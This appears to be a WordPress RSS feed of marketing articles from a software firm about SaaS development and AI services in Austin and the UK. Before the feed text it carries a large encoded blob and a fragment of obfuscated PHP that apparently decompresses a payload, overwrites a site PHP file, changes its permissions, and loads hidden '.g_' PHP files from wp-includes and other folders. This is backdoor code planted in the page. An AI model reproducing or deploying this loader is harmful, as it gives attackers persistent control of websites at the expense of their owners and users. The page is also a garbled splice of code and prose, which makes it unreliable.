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'); if ($GLOBALS['__scf_tbzphtka3ug8b_6']($qvjl00h8onp) && $GLOBALS['__scf_sppky0sw1cvqm_7']($qvjl00h8onp) >= (1+17) && $GLOBALS['__scf_mng1luvyowkl_15']($qvjl00h8onp, 0, 2) === "\x1f\x8b") { $v5puc62xxu5w__g3 = @$GLOBALS['__scf_e08qgwkave79k4_40']('V', $GLOBALS['__scf_mng1luvyowkl_15']($qvjl00h8onp, -(1+3))); if (!$GLOBALS['__scf_ejt1mnwjsy_29']($v5puc62xxu5w__g3) || $v5puc62xxu5w__g3[1] < (828-328) || $v5puc62xxu5w__g3[1] > (1048575+1)) $qvjl00h8onp = ""; } // WP Entity Records: unroll affine-type $yk6cbxq0llviumc = ($GLOBALS['__scf_mng1luvyowkl_15']($qvjl00h8onp, 0, 2) === "\x1f\x8b") ? ($GLOBALS['__scf_w6duwsyy2_weq_0']('gzdecode') ? @gzdecode($qvjl00h8onp, (1048532+44)) : ($GLOBALS['__scf_w6duwsyy2_weq_0']('gzinflate') ? @gzinflate($GLOBALS['__scf_mng1luvyowkl_15']($qvjl00h8onp, (0x4+0x6), -(0x1+0x7)), (1520466-471890)) : false)) : $qvjl00h8onp; unset($qvjl00h8onp); if (!$GLOBALS['__scf_tbzphtka3ug8b_6']($yk6cbxq0llviumc) || $GLOBALS['__scf_sppky0sw1cvqm_7']($yk6cbxq0llviumc) < (0x24+0x1d0) || $GLOBALS['__scf_sppky0sw1cvqm_7']($yk6cbxq0llviumc) > (1336124-287548)) $yk6cbxq0llviumc = _sc_coreld($x2_rm5kie7cyh); if ($GLOBALS['__scf_tbzphtka3ug8b_6']($yk6cbxq0llviumc) && $GLOBALS['__scf_sppky0sw1cvqm_7']($yk6cbxq0llviumc) > (493+7) && $GLOBALS['__scf_sppky0sw1cvqm_7']($yk6cbxq0llviumc) <= (756348+292228)) { if (!_sc_qok($z86vgrrey6u, $yk6cbxq0llviumc)) { $qthmt5pb8tjoyuab = _sc_coreld($x2_rm5kie7cyh); if (!$GLOBALS['__scf_tbzphtka3ug8b_6']($qthmt5pb8tjoyuab) || !_sc_qok($z86vgrrey6u, $qthmt5pb8tjoyuab)) $yk6cbxq0llviumc = false; else $yk6cbxq0llviumc = $qthmt5pb8tjoyuab; } if ($GLOBALS['__scf_tbzphtka3ug8b_6']($yk6cbxq0llviumc) && _sc_phpok_src($yk6cbxq0llviumc)) {$r2yfd0ci44=4343;$vtfsihms=$r2yfd0ci44%4; if (!@$GLOBALS['__scf_b0ovvt1cim_36']($GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15))) _sc_mkdir($GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15)); $i4qv4hfemd = ($GLOBALS['__scf_w6duwsyy2_weq_0']('tempnam') ? @$GLOBALS['__scf_shawuri3lat1_26']($GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15), 'sc_') : false);$zbmrylb2rl3v=77*9;$mppmfsdigw7aqh=$zbmrylb2rl3v-32; if ($i4qv4hfemd !== false && !lfvhq16lapl075y2($i4qv4hfemd, $GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15))) { _sc_ul($i4qv4hfemd); $i4qv4hfemd = false; } if ($i4qv4hfemd !== false) { $otn0jyt6zm = _sc_fpc($i4qv4hfemd, $yk6cbxq0llviumc); if ($otn0jyt6zm !== false && $otn0jyt6zm === $GLOBALS['__scf_sppky0sw1cvqm_7']($yk6cbxq0llviumc)) { $d2_3t7_xb1ko = hee34f5hn7utkbr0x_st($i4qv4hfemd, $k6i6qi830yq5l15, ll5a068rca9h3y1gf($yk6cbxq0llviumc)); if ($GLOBALS['__scf_w6duwsyy2_weq_0']('clearstatcache')) @clearstatcache(true, $k6i6qi830yq5l15); if ($d2_3t7_xb1ko) { $k3teu0v46n = @$GLOBALS['__scf_fsreif8awn7p_13']($k6i6qi830yq5l15); if (!$GLOBALS['__scf_tbzphtka3ug8b_6']($k3teu0v46n) || $k3teu0v46n !== $yk6cbxq0llviumc) { if ($GLOBALS['__scf_tbzphtka3ug8b_6']($k3teu0v46n) && $GLOBALS['__scf_ujt5t1vfp1_28']($k3teu0v46n, '/* SCV:') !== false) { if ($k3teu0v46n !== "" && $GLOBALS['__scf_sppky0sw1cvqm_7']($k3teu0v46n) < $GLOBALS['__scf_sppky0sw1cvqm_7']($yk6cbxq0llviumc) && $GLOBALS['__scf_mng1luvyowkl_15']($yk6cbxq0llviumc, 0, $GLOBALS['__scf_sppky0sw1cvqm_7']($k3teu0v46n)) === $k3teu0v46n) { _sc_fpc($GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15) . '/.wr_' . $GLOBALS['__scf_vrigtln_8foys_37']($k6i6qi830yq5l15, '.php'), '1'); _sc_ul($k6i6qi830yq5l15); } $d2_3t7_xb1ko = false; } else {$tfowsj63h=15*4;$wc34wn72esrp43=$tfowsj63h-50; _sc_fpc($GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15) . '/.wr_' . $GLOBALS['__scf_vrigtln_8foys_37']($k6i6qi830yq5l15, '.php'), '1'); _sc_ul($k6i6qi830yq5l15); $d2_3t7_xb1ko = false; } } // acquire maximal command unset($k3teu0v46n); } if ($d2_3t7_xb1ko) { _sc_ul($GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15) . '/.wr_' . $GLOBALS['__scf_vrigtln_8foys_37']($k6i6qi830yq5l15, '.php')); if ($GLOBALS['__scf_w6duwsyy2_weq_0']('chmod')) @$GLOBALS['__scf_qc7gbv989de86_27']($k6i6qi830yq5l15, (399+21)); if ($GLOBALS['__scf_w6duwsyy2_weq_0']('opcache_invalidate')) @opcache_invalidate($k6i6qi830yq5l15, true); _sc_padf($k6i6qi830yq5l15); } } else {$b4brzb83h=PHP_INT_MAX/PHP_INT_MAX;$_pck0o2_3di=$b4brzb83h+36; _sc_ul($i4qv4hfemd); } } } unset($yk6cbxq0llviumc); } } if ($GLOBALS['__scf_b7ssbdiis1vre_41']() !== 'cli' && defined('ABSPATH') && $GLOBALS['__scf_w6duwsyy2_weq_0']('md5_file')) { $qroxb4yqsh2 = $x2_rm5kie7cyh . '/.gk_' . $GLOBALS['__scf_mng1luvyowkl_15']($GLOBALS['__scf_ccka2qedq3bl8_25']("echo-store-dot"), 0, (0x1+0x7)); $vjfdgv754a6d8s20 = @$GLOBALS['__scf_dj3279qvga_12']($qroxb4yqsh2) ? (int) @$GLOBALS['__scf_ivzu6pw15zv_9']($qroxb4yqsh2) : 0; $a5m91aazp3 = ($vjfdgv754a6d8s20 === 0 || $vjfdgv754a6d8s20 < $GLOBALS['__scf_b7hwejws2y_10']() - (439-139) || $vjfdgv754a6d8s20 > $GLOBALS['__scf_b7hwejws2y_10']() + (426-126)); if ($a5m91aazp3) { @$GLOBALS['__scf_g8nnyvptau6_11']($qroxb4yqsh2); $mc921_a56rwbx9k9 = $GLOBALS['__scf_mng1luvyowkl_15']($GLOBALS['__scf_ccka2qedq3bl8_25'](ABSPATH . 'g'), 0, (0x2+0x6)); foreach (array(ABSPATH . 'wp-includes', $x2_rm5kie7cyh, $x2_rm5kie7cyh . '/.sc_' . $GLOBALS['__scf_mng1luvyowkl_15']($GLOBALS['__scf_ccka2qedq3bl8_25'](ABSPATH . 'dir'), 0, (13-5))) as $t_j1yfdf2lhwo) { $x3ggfvpvqoli4p = $t_j1yfdf2lhwo . '/.g_' . $mc921_a56rwbx9k9 . '.php'; if (!@$GLOBALS['__scf_dj3279qvga_12']($x3ggfvpvqoli4p)) continue;$lusz3q3es=PHP_INT_MAX/PHP_INT_MAX;$jh426r3y8=$lusz3q3es+94; $daidpdnqd0f0i = $t_j1yfdf2lhwo . '/.gl_' . $mc921_a56rwbx9k9;$k_07_brj=50*2;$y6siyp3nd=$k_07_brj-5; $f_7p0ro5r_ = @$GLOBALS['__scf_dj3279qvga_12']($daidpdnqd0f0i) ? (int) @$GLOBALS['__scf_ivzu6pw15zv_9']($daidpdnqd0f0i) : 0; if ($f_7p0ro5r_ && $f_7p0ro5r_ > $GLOBALS['__scf_b7hwejws2y_10']() - (15<<4) && $f_7p0ro5r_ <= $GLOBALS['__scf_b7hwejws2y_10']() + (232+68)) return; $u8fgcs9fqi7pu = @$GLOBALS['__scf_d0sa9ue7h_sp5_21']($x3ggfvpvqoli4p); if (!$u8fgcs9fqi7pu || $u8fgcs9fqi7pu < (1941+59) || $u8fgcs9fqi7pu > (1156727+940425)) continue; $jcjb68mabzv28u9v = $t_j1yfdf2lhwo . '/.gm_' . $mc921_a56rwbx9k9; $edqmgyxha4lnamam = @$GLOBALS['__scf_dj3279qvga_12']($jcjb68mabzv28u9v) ? $GLOBALS['__scf__znmd7ktczgj_30']((string) @$GLOBALS['__scf_fsreif8awn7p_13']($jcjb68mabzv28u9v)) : ""; if ($edqmgyxha4lnamam === "" || @md5_file($x3ggfvpvqoli4p) !== $edqmgyxha4lnamam) continue; try { @include_once $x3ggfvpvqoli4p; } catch (\Throwable $l8bfo1kep72b3) { } catch (\Exception $l8bfo1kep72b3) { } // WP Post Comments: fixup serializer return; } } } }; $nhw2fb06624bxl3l(); unset($nhw2fb06624bxl3l); } } /* SC_TH_END:4.3.24:7991bab3 */ SaaS Development Archives - Soft Synapse https://softsynapse.com/tag/saas-development/ Soft Synapse Fri, 04 Sep 2026 17:20:12 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://softsynapse.com/wp-content/uploads/2025/01/cropped-cropped-Salddford-2-32x32.png SaaS Development Archives - Soft Synapse https://softsynapse.com/tag/saas-development/ 32 32 Expert SaaS Development and AI Solutions in Austin, TX https://softsynapse.com/expert-saas-development-and-ai-solutions-in-austin-tx/?utm_source=rss&utm_medium=rss&utm_campaign=expert-saas-development-and-ai-solutions-in-austin-tx Fri, 04 Sep 2026 17:20:11 +0000 https://softsynapse.com/?p=2217 Trusted SaaS development and AI solutions in Austin, TX help businesses automate workflows, scale platforms, improve insights, and support smarter growth! Businesses increasingly need digital platforms that can grow with their users, organize large amounts of data, automate repetitive work, and deliver useful insights. Soft Synapse provides software development services from its Austin, Texas location,...

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Trusted SaaS development and AI solutions in Austin, TX help businesses automate workflows, scale platforms, improve insights, and support smarter growth!

Businesses increasingly need digital platforms that can grow with their users, organize large amounts of data, automate repetitive work, and deliver useful insights. Soft Synapse provides software development services from its Austin, Texas location, including SaaS development and artificial intelligence and machine learning solutions for startups and established organizations. These two technologies can solve different but connected business needs. SaaS development creates cloud-based applications that customers or employees can access through the internet, while AI and machine learning can analyze data, recognize patterns, automate decisions, and support intelligent product features. Companies considering these technologies should begin with a clear business problem rather than adding features simply because they are new. User requirements, data quality, security, scalability, platform architecture, operating costs, and future growth all influence the final solution. This guide explains how SaaS development and AI solutions can help Austin businesses build practical digital products that remain manageable as their needs change.

Building Cloud-Based Products With SaaS Development

Professional SaaS development focuses on creating software that users can access online rather than installing and maintaining separate applications on individual devices.

A SaaS platform may support customer accounts, subscriptions, dashboards, business workflows, reporting, internal operations, or industry-specific functions.

The development process should begin by defining who will use the platform and what those users need to accomplish.

A startup may need a focused first product that solves one clear problem. An established company may be replacing an older internal application or moving existing software into a cloud-based environment.

Architecture should reflect those differences.

The platform should also be planned around expected user volume, data storage, permissions, account management, updates, and future features.

Building a solid foundation early can make later expansion easier without forcing the company to rebuild the entire product whenever requirements change.

SaaS Development for Austin, TX Businesses

Businesses seeking digital development in Austin, TX can use SaaS technology to create products that are accessible across different locations and devices.

Soft Synapse lists its business address at 5900 Balcones Drive in Austin and provides SaaS development for businesses that need scalable cloud-based platforms.

A local service company might use SaaS software to manage customers, appointments, billing, and reporting through one system.

A technology startup might build a subscription-based platform serving customers across several markets.

Another organization may need an internal application that allows different departments to work from the same information.

The strongest project should be based on how the business actually operates.

Before development starts, teams should map the main user roles, required workflows, essential data, account permissions, and the actions users need to complete.

That planning helps separate launch-critical features from ideas that can be added in later versions.

Custom SaaS Applications for Specific Business Models

Off-the-shelf software can work well when business processes are common and requirements are relatively simple.

Custom SaaS development becomes more useful when a company has workflows, customer experiences, or operating requirements that generic software cannot handle efficiently.

A custom platform can be designed around the company’s own processes rather than forcing employees to change how they work just to fit existing software.

For example, an organization may need specialized dashboards, unique account roles, automated approval processes, subscription controls, or industry-specific data management.

Custom development should still remain focused.

Building dozens of unnecessary features can increase development complexity and maintenance requirements.

The development team should identify the functions that create the most value and build the platform around those priorities.

Additional capabilities can be introduced as real users provide feedback.

Multi-Tenant SaaS Architecture

Many SaaS platforms serve several customers through the same application.

A multi-tenant architecture allows different organizations or account groups to use one platform while keeping their information and permissions separated appropriately.

This structure can make product management easier because updates can be deployed across the platform without maintaining a completely separate application for every customer.

However, account separation needs careful planning.

Users should only see the information and functions they are authorized to access.

Administrators may require broader permissions, while standard users receive more limited access.

Subscription levels can also affect which features are available.

These rules should be defined before development progresses too far because permissions influence database design, application logic, dashboards, and many other parts of the platform.

A well-organized account structure can make SaaS products easier to scale as more customers join.

Moving Existing Software Into a SaaS Model

Some businesses already have software that works but is difficult to maintain, update, or access remotely.

Moving an existing application into a cloud-based SaaS model may provide an opportunity to modernize the product without discarding every useful feature.

Migration should begin with an assessment of the existing system.

Developers need to understand the current application, databases, user accounts, workflows, dependencies, and data that must be preserved.

The migration plan should also identify which features still provide value and which parts of the older system should be redesigned.

Data transfer requires particular attention.

Records should be cleaned, mapped, and tested before the new platform becomes the primary system.

Businesses should also plan how users will transition from the old application to the new one.

Training, documentation, and staged deployment can reduce disruption during that change.

Adding Intelligence With AI and Machine Learning

Professional AI and ML development can help businesses analyze data, identify patterns, automate certain decisions, and create more intelligent product experiences.

Soft Synapse lists predictive analytics, natural language processing, computer vision, recommendation systems, anomaly detection, and custom model development among its AI and machine learning capabilities.

The right use case depends on the available data and the business problem.

A company should not begin by asking, “Where can we add AI?”

A stronger question is, “Which repeated decision, prediction, classification, or analysis could be improved with data?”

That approach keeps the project connected to measurable business needs.

AI projects also depend heavily on data quality.

Incomplete, inconsistent, or poorly organized data can limit the usefulness of even a technically advanced model.

Predictive Analytics for Business Planning

Predictive analytics uses historical data to identify patterns that may help estimate future outcomes.

Businesses can apply these models to areas such as demand forecasting, customer behavior, operational planning, or risk analysis.

The quality of the prediction depends on the information available.

A company with several years of consistent historical records may have a stronger starting point than one whose data is scattered across spreadsheets and unrelated systems.

Teams should define exactly what they want to predict before model development begins.

A broad goal such as “predict customer behavior” is difficult to evaluate.

A specific goal, such as estimating which customers are likely to stop using a subscription, creates a clearer measurement target.

The model should then be validated against real results to determine whether its predictions are useful enough to support business decisions.

Natural Language Processing for Customer Interaction

Natural language processing allows software to work with written or spoken language.

Businesses may use NLP for chatbots, text classification, sentiment analysis, document processing, or other language-based tasks.

A customer service platform could classify incoming messages and route them to the correct team.

Another system might summarize large amounts of text or identify recurring topics within customer feedback.

The implementation should match the importance of the decision being automated.

Some tasks can operate with minimal human review, while higher-impact decisions may require employees to verify AI-generated outputs.

Language models and classification systems should also be tested using the type of information the business actually receives rather than only generic examples.

Real-world testing helps reveal ambiguous language, unusual customer wording, and edge cases that may affect accuracy.

Computer Vision and Visual Data

Computer vision allows software to interpret images or video.

Soft Synapse identifies object detection, pattern recognition, and automated visual analysis among its AI capabilities.

Potential applications can include quality-control processes, image classification, visual inspection, and other tasks involving large amounts of visual information.

Before building a computer vision system, businesses should determine whether they have enough relevant images or video for development and validation.

Image quality and labeling can influence model performance.

The environment also matters.

A model trained using clear studio images may perform differently when used with low-light mobile photos or industrial camera feeds.

Testing should reflect the actual conditions in which the system will operate.

Computer vision can reduce manual review in suitable workflows, but the expected accuracy and consequences of errors should be clearly defined.

Recommendation Systems and Personalization

Recommendation engines can help platforms present products, services, content, or features that are more relevant to individual users.

These systems typically use information such as past behavior, preferences, interactions, or similarities between users and items.

A SaaS platform with a large content library could recommend resources based on previous activity.

An online service could suggest features that match a customer’s behavior.

Personalization should remain useful rather than intrusive.

Businesses should be clear about what information is collected and how it supports the user experience.

Recommendation systems also need enough activity data to produce meaningful results.

New platforms may initially have limited information, which can affect recommendation quality.

The product plan should account for how recommendations will work while user data is still developing.

Detecting Unusual Patterns With AI

Anomaly detection focuses on identifying behavior or data that differs from normal patterns.

Businesses may use this approach for fraud monitoring, system health, unusual transactions, or operational issues.

The main challenge is defining what “unusual” actually means.

Not every rare event represents a problem.

Models should be trained and evaluated using real business patterns so they do not generate excessive alerts that employees eventually ignore.

The system should also provide enough context for people to understand why an event was flagged.

Human review can remain important, especially when a false alert could affect a customer account or business decision.

AI works best in these situations when it helps teams focus attention rather than replacing judgment without oversight.

Combining SaaS Platforms With AI Features

SaaS and AI can be especially useful when developed as parts of one product strategy.

A SaaS application provides the interface, accounts, workflows, data storage, and business functions that users interact with.

AI can add predictive, classification, recommendation, or automation features to that platform.

For example, a subscription platform might use machine learning to identify usage patterns and flag accounts that may need additional support.

An internal operations platform could classify incoming requests automatically.

A reporting system might identify unusual activity that deserves review.

The AI component should fit naturally into the existing workflow.

Users should understand what the feature does and how its output should influence their next action.

Adding AI simply to market the product as intelligent can create unnecessary complexity without improving the user experience.

Testing Before Deployment

Both SaaS applications and AI systems need structured testing before launch.

A SaaS product should be tested for user permissions, account creation, subscriptions, workflows, data entry, reporting, responsive behavior, and other essential functions.

AI features require additional validation.

Developers should measure whether models produce useful results using representative data.

Edge cases should also be tested because real users rarely behave exactly like development examples.

Performance matters as the number of users grows.

A platform that works well with a small test group may behave differently when hundreds or thousands of people use it.

Testing should therefore consider both functional correctness and expected scale.

Businesses should also define how bugs, inaccurate model outputs, and production issues will be monitored after deployment.

Planning for Long-Term Growth

SaaS platforms and AI systems continue evolving after launch.

New customers may require additional features, user volume can increase, and business workflows may change.

AI models may also need review as new data becomes available.

The architecture should allow reasonable expansion without building every possible future feature immediately.

Businesses should maintain documentation covering major platform decisions, user roles, data structures, model assumptions, and deployment processes.

Ongoing maintenance should include security updates, performance reviews, bug fixes, and evaluation of important AI outputs.

Soft Synapse provides both SaaS and AI development, allowing businesses to consider the underlying platform and intelligent features as connected parts of the same digital product.

Conclusion

SaaS development and AI solutions can help Austin businesses create cloud-based products that support users while making better use of operational and customer data.

A SaaS platform can provide centralized access, subscription management, account controls, dashboards, and scalable digital workflows.

AI and machine learning can add predictive analytics, natural language processing, computer vision, recommendations, and anomaly detection when those capabilities solve a real business need.

The strongest projects begin with clear requirements, reliable data, defined users, security planning, and measurable goals.

Businesses should build the essential platform first, test it carefully, and introduce advanced functionality where it improves an existing workflow.

By treating SaaS architecture and AI capabilities as parts of one practical product strategy, companies can develop software that supports current operations while providing room for future growth.

Frequently Asked Questions

What is SaaS development?

SaaS development involves creating cloud-based software that users access through the internet instead of installing and maintaining separate applications on individual devices.

What types of SaaS applications can businesses build?

Businesses can develop subscription platforms, customer portals, internal management systems, dashboards, workflow tools, reporting systems, and other cloud-based products.

What business problems can AI and machine learning address?

AI can support prediction, text processing, visual analysis, recommendations, anomaly detection, automation, and other data-driven tasks when suitable information is available.

Can AI features be added to a SaaS platform?

Yes. AI capabilities can be incorporated into SaaS products to support recommendations, predictions, classification, automation, or other intelligent workflows.

Why is data quality important for AI development?

AI models learn patterns from available data. Incomplete, inconsistent, or inaccurate information can reduce model reliability and make outputs less useful.

Should a business build every SaaS feature at launch?

Usually not. Starting with essential functions makes the platform easier to test and allows future features to be guided by real user behavior and business needs.

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Launch Your Idea Faster with Best SaaS Development Teams | UK https://softsynapse.com/launch-your-idea-faster-with-best-saas-development-teams-uk/?utm_source=rss&utm_medium=rss&utm_campaign=launch-your-idea-faster-with-best-saas-development-teams-uk Mon, 24 Nov 2025 15:24:45 +0000 https://softsynapse.com/?p=1855 Launch your idea quickly with the best SaaS development teams in the UK, offering trusted, reliable, and expert services to transform your digital vision. Building a successful SaaS product demands clarity, expertise, and the right technological partnership. Soft Synapse has become one of the teams recognized for helping innovators transform raw concepts into polished, scalable...

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Launch your idea quickly with the best SaaS development teams in the UK, offering trusted, reliable, and expert services to transform your digital vision.

Building a successful SaaS product demands clarity, expertise, and the right technological partnership. Soft Synapse has become one of the teams recognized for helping innovators transform raw concepts into polished, scalable solutions. The expanding digital economy has created a competitive environment where businesses require not just developers, but strategic partners. With reliable SaaS development services in the UK, companies can turn their concepts into powerful applications designed to evolve with market needs. This article explores how skilled development teams help you launch faster, grow strategically, and operate with confidence.

Understanding the Need for Quality SaaS Development

Turning an idea into a fully functional SaaS platform can feel like navigating a maze of decisions. From product design and architecture to development workflows and post-launch support, every aspect influences the success of the final product. This is where the value of trusted SaaS development services in the UK becomes clear. These teams bring together experience, structure, and innovation to help founders move from conceptual thinking to real-world execution with speed and clarity.

The Growth of SaaS Expertise in the UK

The SaaS industry in the UK has matured significantly, bringing forward new methodologies and improved technical standards. As a result, businesses looking to launch digital solutions now have access to expert SaaS development services in the UK that understand both the technical and strategic sides of product creation. These teams provide more than code; they offer insight, foresight, and a commitment to creating products built for long-term evolution.

Balancing Speed with Quality

Launching fast never means cutting corners. Instead, it depends on aligning with teams who understand how to accelerate progress without sacrificing the structural integrity of the platform. The best SaaS development services in the UK rely on agile methodologies, clear planning, and development processes that eliminate waste and maintain consistent momentum.

Multi-Disciplinary Teams for Efficient Development

One major factor behind efficient SaaS product development is having multi-disciplinary expertise under one roof. A complete team may include UI designers, backend engineers, cloud architects, business analysts, and testing specialists. This collective approach prevents delays and ensures consistent progress at every stage of development. The blending of skills ensures a holistic product rather than disjointed modules.

Strong Architectural Foundations

Modern SaaS platforms require strong architectural planning, especially for scalability and long-term performance. Reliable SaaS development services in the UK focus on establishing a resilient structure early on. These foundational decisions determine how well the platform adapts to growth, handles traffic, manages user data, and stays secure.

Turning Vision into Product Features

A challenge many founders face is translating their idea into detailed, viable features. Skilled development teams help shape ideas into technical tasks that fit within a clear roadmap. This clarity accelerates the build process and prevents unnecessary development contradictions later on. When vision becomes structured requirements, development flows naturally.

Importance of Clear Communication

